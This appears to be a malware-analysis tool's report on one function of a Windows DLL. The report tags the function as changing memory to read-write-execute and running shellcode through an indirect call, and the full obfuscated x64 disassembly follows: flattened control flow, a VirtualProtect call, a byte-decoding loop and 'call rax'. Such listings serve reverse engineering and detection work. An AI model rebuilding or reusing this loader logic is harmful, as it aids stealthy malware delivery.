Function at 0x18004e780
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
mov rsi, rcx
mov rax, qword [0x1800c3608]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rax, qword [rcx + 8]
movabs rcx, 0x38daf0379fbb1068
sub rax, rcx
movabs rdx, 0x7a549875c40b0175
add rcx, rdx
movabs r8, 0x54d3553b2b341f6e
add rcx, r8
add rcx, rax
sub rcx, qword [rsi]
sub rcx, r8
movabs rax, 0x9e79ea24ed0cd0b0
sub rcx, rax
sub rcx, rdx
lea rdi, [rcx + rax]
add rdi, 0xfffffffffffff69b
call fcn.180044a50
mov dword [rsp + 0x38], eax
mov eax, 0x132b7efe
mov r12d, 0x5ba3c9b
mov r13d, 0x965
mov ebx, 0x74bf8b62
mov ebp, 0x32911fbf
mov r14d, 0xa3f80642
jmp 0x18004e830
mov eax, 0x8acef112
nop word cs:[rax + rax]
cmp eax, 0xfad62e52
jle 0x18004e8f0
cmp eax, 0x46f1b006
jle 0x18004e940
cmp eax, 0x62db3854
jle 0x18004ea50
cmp eax, 0x62db3855
je 0x18004ebed
cmp eax, 0x6fecca90
je 0x18004ec5c
cmp eax, 0x7648915d
jne 0x18004e830
mov eax, dword [0x1800c47d8]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xfe782c5f
mov edx, eax
and edx, 0x187d3a0
or edx, ecx
xor edx, 0x187d3a1
and eax, 0xfffffffe
or eax, edx
xor eax, 0x3a3d825b
xor eax, 0xc5c27da4
sete al
setne cl
cmp dword [0x1800c47dc], 0xa
setl dl
setge r8b
or r8b, cl
xor dl, al
mov eax, r8d
xor al, dl
mov ecx, 0x8acef112
mov eax, 0xf380a72c
cmovne ecx, eax
test dl, dl
mov eax, ecx
mov edx, 0x8acef112
cmovne eax, edx
test r8b, r8b
cmovne eax, ecx
jmp 0x18004e830
cmp eax, 0xb680c75a
jle 0x18004e9b0
cmp eax, 0xe0766701
jle 0x18004eb7f
cmp eax, 0xe0766702
je 0x18004ed69
cmp eax, 0xf380a72c
je 0x18004e81d
cmp eax, 0xf9fb947a
jne 0x18004e830
mov eax, 0xd182a218
jmp 0x18004e830
cmp eax, 0x132b7efd
jle 0x18004ebaa
cmp eax, 0x132b7efe
je 0x18004edd4
cmp eax, 0x3ad57b22
jne 0x18004f03d
inc r15d
mov eax, dword [0x1800c47d8]
lea ecx, [rax + 1]
imul ecx, eax
test cl, 1
sete dl
cmp dword [0x1800c47dc], 0xa
setge al
xor dl, al
or al, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0xb680c75b
cmovne ecx, r12d
test al, 1
mov eax, 0xb680c75b
cmovne eax, ecx
test dl, dl
cmovne eax, ecx
jmp 0x18004e830
cmp eax, 0xa4b248c4
jg 0x18004ebcd
cmp eax, 0x8acef112
je 0x18004edeb
cmp eax, 0x8b79fd56
jne 0x18004e830
mov eax, dword [0x1800c47d8]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xe9d495ce
mov edx, eax
and edx, 0x162b6a31
or edx, ecx
xor edx, 0x162b6a30
and eax, 0xfffffffe
or eax, edx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x1800c47dc], 0xa
setge dl
setl r8b
and cl, r8b
and dl, al
or dl, cl
mov ecx, r8d
xor cl, al
or r8b, al
xor r8b, 1
or r8b, cl
mov eax, r8d
xor al, dl
mov ecx, 0xe0766702
mov eax, 0xa985eaf0
cmovne ecx, eax
test r8b, r8b
mov eax, 0xe0766702
cmovne eax, ecx
test dl, dl
cmove eax, ecx
jmp 0x18004e830
cmp eax, 0x46f1b007
je 0x18004ee5c
cmp eax, 0x5deb26df
jne 0x18004e830
mov dword [rsp + 0x3c], 0
mov eax, dword [0x1800c47e0]
mov ecx, dword [0x1800c47e4]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
not eax
mov r8d, eax
and r8d, 0xc1658ae2
and edx, 0x3e9a751d
or edx, r8d
xor edx, 0x3e9a751c
xor eax, edx
test eax, edx
sete byte [rsp + 0x2d]
sete dl
setne r8b
cmp ecx, 0xa
setge cl
setl r9b
setl byte [rsp + 0x2e]
mov rax, qword [rsi]
add rax, r13
lea r10d, [r8 + 1]
and r10b, cl
xor cl, r8b
and r8b, r9b
or r10b, r8b
or dl, r9b
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, r10b
mov r8d, 0x32911fbf
cmovne r8d, ebx
test dl, dl
mov ecx, 0x32911fbf
cmovne ecx, r8d
test r10b, r10b
cmove ecx, r8d
mov edx, 0xf2bcda48
cmp edx, 0x32911fbe
jg 0x18004eb60
cmp edx, 0xa3f80642
je 0x18004eb7b
cmp edx, 0xf2bcda48
jne 0x18004eb00
movzx r8d, byte [rsp + 0x2d]
movzx edx, byte [rsp + 0x2e]
xor dl, r8b
mov r9d, edx
xor r9b, 1
and r8b, r9b
xor r9b, r8b
test r9b, 1
mov r9d, 0xa3f80642
cmovne r9d, ebx
test dl, 1
mov edx, r9d
cmovne edx, r14d
test r8b, 1
cmove edx, r9d
jmp 0x18004eb00
cmp edx, 0x32911fbf
je 0x18004ee66
cmp edx, 0x74bf8b62
jne 0x18004eb00
mov edx, 0xa3f80642
jmp 0x18004eb00
mov edx, ecx
jmp 0x18004eb00
cmp eax, 0xb680c75b
je 0x18004efc5
cmp eax, 0xd182a218
jne 0x18004e830
mov ecx, 0x3e7
call qword [0x1800c4478]
mov eax, 0xf9fb947a
jmp 0x18004e830
cmp eax, 0xfad62e53
je 0x18004efcf
cmp eax, 0x5ba3c9b
jne 0x18004e830
inc r15d
mov eax, 0x3ad57b22
jmp 0x18004e830
cmp eax, 0xa4b248c5
je 0x18004efe6
cmp eax, 0xa985eaf0
jne 0x18004e830
mov eax, 0xe0766702
jmp 0x18004e830
mov eax, dword [0x1800c47d8]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x10bdd6cd
and ecx, 0xef422932
or ecx, edx
xor ecx, 0xef422933
xor eax, ecx
test eax, ecx
sete cl
setne al
cmp dword [0x1800c47dc], 0xa
setge dl
setl r8b
and r8b, al
and cl, dl
or cl, r8b
or dl, al
mov r8d, edx
xor r8b, cl
test dl, dl
mov eax, 0x3ad57b22
cmovne eax, r12d
test cl, cl
cmove eax, r12d
test r8b, r8b
mov ecx, 0x3ad57b22
cmove eax, ecx
jmp 0x18004e830
mov eax, dword [0x1800c47e0]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x9510aa1c
and ecx, 0x6aef55e3
or ecx, edx
xor ecx, 0x9510aa1d
or ecx, eax
cmp dword [0x1800c47e4], 0xa
setl dl
setl byte [rsp + 0x2e]
cmp ecx, 0xffffffff
sete byte [rsp + 0x2d]
sete cl
xor cl, dl
mov r8d, ecx
not r8b
mov eax, 0x74bf8b62
cmovne eax, ebp
test r8b, dl
cmove eax, ebx
cmovne eax, ebp
test cl, cl
cmovne eax, ebp
lea ecx, [r15 + 0x965]
movsxd rcx, ecx
add rcx, qword [rsi]
mov edx, 0xf2bcda48
nop
cmp edx, 0x32911fbe
jg 0x18004ed40
cmp edx, 0xa3f80642
je 0x18004ed62
cmp edx, 0xf2bcda48
jne 0x18004ecd0
movzx edx, byte [rsp + 0x2d]
movzx r8d, byte [rsp + 0x2e]
mov r9d, edx
xor r9b, 1
mov r10d, r8d
xor r10b, 1
and r8b, r9b
or r9b, r10b
and r10b, dl
or r10b, r8b
mov edx, r9d
xor dl, r10b
test dl, 1
mov r8d, 0xa3f80642
cmovne r8d, ebx
test r10b, 1
mov edx, r8d
cmovne edx, r14d
test r9b, 1
cmovne edx, r8d
jmp 0x18004ecd0
cmp edx, 0x32911fbf
je 0x18004eff3
cmp edx, 0x74bf8b62
jne 0x18004ecd0
mov edx, 0xa3f80642
jmp 0x18004ecd0
mov edx, eax
jmp 0x18004ecd0
mov eax, dword [0x1800c47d8]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
not ecx
or ecx, eax
xor ecx, 0xffffffff
sete al
setne cl
cmp dword [0x1800c47dc], 0xa
setl dl
setge r8b
and al, r8b
or r8b, cl
and dl, cl
or dl, al
mov ecx, r8d
xor cl, dl
test dl, dl
mov eax, 0xa985eaf0
mov r9d, 0x46f1b007
cmovne eax, r9d
test r8b, r8b
mov edx, 0xa985eaf0
cmovne eax, edx
test cl, cl
cmove eax, r9d
jmp 0x18004e830
cmp dword [rsp + 0x38], 0
mov eax, 0x1843bd7e
mov ecx, 0xa4b248c5
cmove eax, ecx
jmp 0x18004e830
movsxd rax, r15d
cmp rdi, rax
seta byte [rsp + 0x2f]
mov eax, dword [0x1800c47d8]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x48257ae3
and ecx, 0xb7da851c
or ecx, edx
xor ecx, 0xb7da851d
xor eax, ecx
test eax, ecx
setne al
cmp dword [0x1800c47dc], 0xa
setge cl
mov edx, eax
xor dl, cl
or cl, al
mov eax, ecx
xor al, dl
mov r8d, 0xfad62e53
mov eax, 0xf380a72c
cmovne r8d, eax
test cl, cl
mov eax, 0xfad62e53
cmovne eax, r8d
test dl, dl
cmove eax, r8d
jmp 0x18004e830
mov eax, 0x5deb26df
jmp 0x18004e830
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
mov rdx, rdi
mov r8d, 0x40
lea r9, [rsp + 0x3c]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x1800c47e0]
mov ecx, dword [0x1800c47e4]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
not eax
and edx, 0x18619bb3
mov r8d, eax
and r8d, 0xe79e644c
or r8d, edx
xor r8d, 0xe79e644d
and eax, 0xfffffffe
or eax, r8d
xor eax, 0x7c68cd17
xor eax, 0x839732e8
sete byte [rsp + 0x2d]
setne dl
sete r8b
cmp ecx, 0xa
setl cl
setge r9b
setl byte [rsp + 0x2e]
mov rax, qword [rsi]
add rax, r13
mov r10d, ecx
or cl, r8b
and r8b, r9b
and r10b, dl
or r10b, r8b
xor r9b, dl
xor cl, 1
or cl, r9b
mov edx, ecx
xor dl, r10b
mov edx, 0x32911fbf
cmovne edx, ebx
test cl, cl
mov ecx, 0x32911fbf
cmovne ecx, edx
test r10b, r10b
cmove ecx, edx
mov edx, 0xf2bcda48
nop
cmp edx, 0x32911fbe
jg 0x18004efa0
cmp edx, 0xa3f80642
je 0x18004efbe
cmp edx, 0xf2bcda48
jne 0x18004ef20
movzx edx, byte [rsp + 0x2d]
movzx r8d, byte [rsp + 0x2e]
xor dl, 1
mov r9d, r8d
xor r9b, 1
mov r10d, r8d
and r10b, r9b
xor r10b, 1
or r10b, r9b
xor r10b, 1
or r10b, r8b
xor r10b, dl
or r9b, dl
mov edx, r10d
xor dl, r9b
not dl
test dl, 1
mov r8d, 0xa3f80642
cmovne r8d, ebx
test r9b, 1
mov edx, 0xa3f80642
cmovne edx, r8d
test r10b, 1
cmovne edx, r8d
jmp 0x18004ef20
cmp edx, 0x32911fbf
je 0x18004f027
cmp edx, 0x74bf8b62
jne 0x18004ef20
mov edx, 0xa3f80642
jmp 0x18004ef20
mov edx, ecx
jmp 0x18004ef20
mov eax, 0x7648915d
jmp 0x18004e830
cmp byte [rsp + 0x2f], 0
mov eax, 0x8b79fd56
mov ecx, 0x6fecca90
cmovne eax, ecx
jmp 0x18004e830
mov eax, 0x7648915d
xor r15d, r15d
jmp 0x18004e830
mov qword [rsp + 0x30], rcx
mov rax, qword [rsp + 0x30]
movzx ecx, byte [rax]
mov edx, ecx
not dl
mov r8d, ecx
or r8b, 1
and cl, 1
and dl, 0x1a
or dl, cl
and r8b, 0xe5
xor r8b, dl
mov byte [rax], r8b
mov eax, 0x62db3855
jmp 0x18004e830
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
call rax
mov eax, 0xf9fb947a
jmp 0x18004e830
cmp eax, 0x1843bd7e
jne 0x18004e830
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.180091700
nop
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret